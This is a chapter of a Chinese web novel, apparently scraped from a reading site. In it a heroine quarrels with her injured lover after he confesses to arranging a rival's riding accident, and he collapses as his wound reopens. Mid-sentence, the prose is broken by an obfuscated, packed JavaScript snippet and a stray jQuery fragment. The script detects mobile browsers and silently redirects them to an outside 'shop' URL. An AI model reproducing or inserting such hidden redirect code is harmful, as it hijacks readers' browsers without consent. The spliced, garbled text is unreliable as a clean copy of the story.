65. 第六十五章 争吵

作品:《当对食成为郡主娘娘以后

    待入了夜,蒋如蕙便是再不舍,也只能回自己闺房歇息。虽同在镇北侯府,她与万荪瑜一个在东院,一个在西院,只能遥遥相望。


    分明已是盛夏时节,微风拂过窗棂,却带来几许微凉。万荪瑜吩咐侍书阖上窗子,重新点了灯,又掖了掖被角,凉意却不曾消弭半分。疼痛让他难以入眠,便又怀念起曾经在万府时,与她相依入眠的日日夜夜。


    蒋如蕙亦是毫无睡意,便索性自雕花梨木拔步床上起身,绕过紫檀木嵌五彩琉璃屏风,行至窗前,望向西院的方向。


    东西两院相距尚远,她自是瞧不见他,可她就是知晓,他屋里的灯定还亮着。不知他伤口是否还那么疼,是否还闷得喘不上气……


    “蕙蕙,睡吧,就这么熬着也不是办法,”落梅缓步行至她身畔,阖上窗棂,“风大,别着凉了。”她说罢,便打了个冷颤,这里的夏日并不炎热,入夜还有些阴凉,也叫她不适应了。


    “你不也没睡么?”蒋如蕙无奈一笑,自然知晓落梅为何也睡不着,“你说这世间的规矩,都是谁定的?总不过也是肉体凡胎吧,不是神仙。既是人定的,为何就不能更改?”


    落梅素来能说会道,却一时语塞。她自幼便是这样的身份,虽知低人一等,却时至今日才深切感受到,自己与那些良家女子的确是不一样的。不过是因为,喜欢上了一个她高攀不起的人。


    “要不……就此作罢吧,我不想……叫三公子为难。”落梅沉默许久,只低声吐出这么一句。


    “你傻呀!”蒋如蕙闻她所言,当即便喝止道,“什么为难不为难的?他若做不了自己的主儿,便不值得你托付终身。他若能做到,你们欢欢喜喜厮守,他若做不到,你也正好看清了他。”


    蒋如蕙知道她是个勇敢的女子,也最会开解旁人,可事情真落到自己身上,却难免退缩。


    落梅闻言,许久,终于轻“嗯”一声,却闻蒋如蕙又道:“不过是退个婚,还能比万掌印更难么?三哥总要成长起来,独当一面的。”


    “你说的,好像有几分道理。”落梅便笑了。


    “什么叫有几分道理?你可别只顾着心疼他,委屈了自己。”蒋如蕙神色认真。


    “你们在说什么呢?”二人正说着话,便见陈月香披着寝衣,揉着惺忪的睡眼,正向她二人这边行来,“情之一事,究竟是什么磨人的东西?竟叫你们觉也不睡了。”她打着呵欠,声音里透着无奈。


    “等你有朝一日遇着了心仪的男子,便明白了。”落梅温声道,笑意温柔。如今虽还不能与心爱之人光明正大地厮守一处,但能遇到蒋如枫,已是她平生之幸。


    “别,别……”陈月香一双黑白分明的大眼里满是抗拒,“我可不想如你们这般,整日茶不思饭不想,如今好不容易离了皇宫和京城那座牢笼,有吃有穿,还瞧见了外头的风景,我可不想再将自己圈进另一座牢笼里。”


    她这话倒是耐人寻味,她们其实都向往自由自在的生活,只落梅又想到一个绕不开的难题,“那待蕙蕙和我都嫁了,你怎么办?”


    “哎呀,不论我嫁不嫁,你们嫁不嫁,我们都是一辈子的姐妹,这是我们一早便说好了的,”蒋如蕙又缓缓走向紫檀木桌案旁,与她二人一道坐下,“我如今是郡主了,不论将来如何,有我在,什么都不会少了你们。”


    落梅和陈月香便都笑开了,陈月香趁势又道:“蕙蕙,那还是我待你最好,我这辈子都不嫁,今后你去哪儿,我便随你去哪儿。”


    落梅闻言,便不服气的嘟哝一声。


    “你得有个自己的家,不能陪我一辈子的。”蒋如蕙心下感动,却仍愿她觅得自己的归宿。


    陈月香不明所以,因在她看来,这世间任何男子,都不会有蒋如蕙待她这般真心了。


    姐妹三人便话着家常,暗夜虽长,却也转瞬即逝。


    而这边,万荪瑜又服了一遍汤药,待身上不适减轻些,天已蒙蒙亮时才终于沉沉睡去。


    这日一早,蒋盛云便出府了,去的不是旁的地方,而是沈府。


    他原是想约沈钰安之父沈晋,商议儿女婚事,眼下万荪瑜既在府上,他只能约对方在外头一叙。不曾想却听沈府家仆说,沈钰安昨日去郊外跑马,马儿突然惊了,他从马上摔落,不慎摔伤了腿,如今只能卧床静养。蒋盛云二话不说,便乘上马车去沈府探望。


    “父亲一大早便出门了,说那沈公子不慎摔伤了腿,他要去探望探望。”蒋如枫便来到东院,将此事告知蒋如蕙。


    “怎么摔伤的?”她随口问道,此前听闻沈钰安虽是读书人,骑术也不差的。


    “说是跑马时,马儿突然惊了,一路疾驰停不下来,”蒋如枫道,“听沈家家仆说,也没摔折腿,就是骨头有点裂了,不算太严重。”


    “父亲原本是想约沈伯出来一叙,怕是要商议你与沈钰安的婚事。你说他怎能如此?万掌印还在咱府上养伤呢。”蒋如枫神色无奈,别说蒋如蕙了,便是他也觉父亲此举很不地道。


    蒋如蕙轻叹一声,便向西院万荪瑜的厢房行去,她此刻唯一庆幸的是父亲不在府上,她可放心大胆地陪他半日。


    隔着窗棂向屋内望去,便见他此刻还在沉睡,她轻手轻脚地推门而入,示意侍书勿要出声,便在他床沿轻轻坐下。


    她知晓,他定许久没好好睡一觉了,若非身子实在虚弱,不会睡得这般沉。明媚日光洒进屋内,她沐浴在蹙金般的温柔晨光里,细细端详他如画的眉眼。他纤长的睫羽微微颤动,眼圈却染着乌青,点点尘埃落在他秀挺的鼻梁上……


    分明相识许久,她却瞧不腻似的。见他额角又渗出一层薄汗,她便吩咐仆从端了温水进来,打湿布巾后给他轻轻擦拭。


    感受到她熟悉的动作和体息,他缓缓睁开沉重的眼皮,便见绚烂日光勾勒出她秀美的脸部轮廓,依旧俏丽动人,鲜妍明媚,眉目间却更多了几分静美,宛若守在丈夫床沿的妻子。


    “哥哥,你醒啦,”她动作已然很轻,却还是弄醒了他,“再睡会儿吧。”


    “不睡了,想同你说说话。”睁开眼便见到她,他哪里舍得再睡去。


    蒋如蕙便扶着他撑起身来,以温水打湿布巾给他洁面,又吩咐仆从去厨房询问可做好了吃食。


    “父亲一早便出府去了,一时半会儿怕是回不来,我今日可以多陪陪你。”蒋如蕙温声道。


    “怕不是约了那沈大人,同他商议你与沈公子的婚事了。”他低声道,神色吃味。便想起昨夜西厂司事处的番子传来的消息,他吩咐之事已成。西厂行事,素来讲究一个“快”字,当日若能得手,便绝不拖到次日。


    “你怎的知道?”蒋如蕙并未意识到什么,只随口一说,“沈钰安昨日跑马时落了马,正卧床静养。”


    “此事是我吩咐侍剑去安排的,他们有分寸。”万荪瑜也不藏着掖着,他从不认为自己是个好人,做的既是背后教训人的恶事,也不怕叫她知晓。


    “你吩咐的?你为何要这么做?”蒋如蕙不禁疑惑,“他与你无冤无仇!”


    “无冤无仇?他明知你有心上人,还纠缠于你,与我这仇怨便结下了,”万荪瑜冷言道,眸中的温柔已烟消云散,“你一早便同他说清了对吧?可那日相见时,他仍与你在一处。”


    “是,你说的都不假,”蒋如蕙闻他所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014119|190351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    言,语气便有些急切,“可若非我父亲执意安排,我与他也不会相识,他是无辜卷入这场纷争里。”


    “他对你存了不该有的念头,便不无辜,”万荪瑜冷笑一声,“我吩咐过,勿伤及性命,如此不过是小惩大戒。他若是心存怨怼,我也不怕叫他知晓是我下的手。”


    “你……”蒋如蕙怒意上涌,“事已至此,便是造化弄人,若非我与父兄相认,或许我们早已成婚。可这一切,不是他造成的!”


    “你可曾想过,他便是没有性命之忧,但伤了残了,日后当如何?他还这般年轻。”她继续说着,就事论事。


    “不是他造成的,他亦参与其中,”万荪瑜凝眸望她,语气冰冷,神色却真切,“你该知晓,这世间能欺我万荪瑜至此的,没有几人,因他们是你父兄,是你阔别多年的血脉至亲,便是再欺我辱我,我都不会还击分毫。可他沈钰安算什么?与你非亲非故,我心头的委屈愤懑,只能他来承受了。”


    “他是与我非亲非故,却不是你如此对他的理由,”蒋如蕙长叹一声,“你这般行事,只会徒增我的罪孽。”


    “是么?你这般维护他,莫不是对他动了心?”万荪瑜阖上眼眸,唇畔便漾起一抹冷笑。


    “万荪瑜!事已至此,你说的是人话吗?”她嗔怒道,委屈夹杂着愤怒一齐涌上心头,她忽地觉着日日夜夜的思念、苦心挣扎与坚持的一切,不过是一个笑话。这便将布巾投入了水盆里,转身离去。


    话已出口,他方才意识到自己当真是个混账,望着她离去的背影,那般决绝,他知晓她定是伤心失望了。便再顾不得任何,只披上外衫,便提步追去。


    “桃儿!桃儿!”他拼尽全力追赶,奈何她步履实在太快,他不知自己怎就吐出那么一句话的,只因容不得她维护那沈钰安分毫。


    府上婢女仆从便见郡主头也不回地出了西院,神色愤懑,而那万掌印一直在她身后追赶,他甚至顾不得衣衫不整、发丝微乱。这究竟是怎么回事?众人不禁面面相觑。


    他三步并作两步,步履急切。周身不适便一道席卷而至,一股气哽在胸腔里,怎么都提不上来,剧烈喘息下便头晕目眩,“桃儿……”他已然发不出声了,只伸手指向她的方向,似要抓住那一片随风而逝的裙摆。


    蒋如蕙终于忍不住回望,便见他已支撑不住跪伏在地,鲜血顺着他衣摆流淌下来,在汉白玉地面漾开一片猩红……适才奋力追赶,那伤口牵扯着便裂开了。


    “哥哥……”蒋如蕙适才的委屈愤怒已烟消云散,只转身疾步奔向他身畔,搀扶他起身,便见血仍在向外流淌……“怨我,怨我……”她不住自责,便与赶来的侍书侍剑一道,搀扶他回房。


    蒋如枫亦闻讯赶来,便见地面上已漾开一片血迹。


    “别走……别走……”便是痛极,几欲窒息,他仍紧紧攥住她衣袖,仿佛攥着昙花一现的稀世珍宝,担心一松手便要如泡沫般消散。


    “我在这儿呢!”蒋如蕙紧紧握住他手,待扶他回床上躺下,蒋如枫已将大夫唤过来了。


    这便阖上房门,当务之急便是止血,并辅以针灸,防止心疾恶化。他痛得已然麻木,却仍死死攥住她手,“对不起……我错了……我适才说的全是浑话……”


    “我知道,”她紧紧握住他手,见他疼得嘴唇煞白,又吩咐大夫,“劳烦您轻点儿,轻点儿……”


    “我错了……不该如此……我只是恨……我比他……处处皆不如……”细密冷汗自他额头脖颈渗出,他嘴唇颤抖,硬要把话说完。


    “万荪瑜!你眼下说的,才是最浑的浑话!”蒋如蕙泪水零落下来,忍不住斥骂道。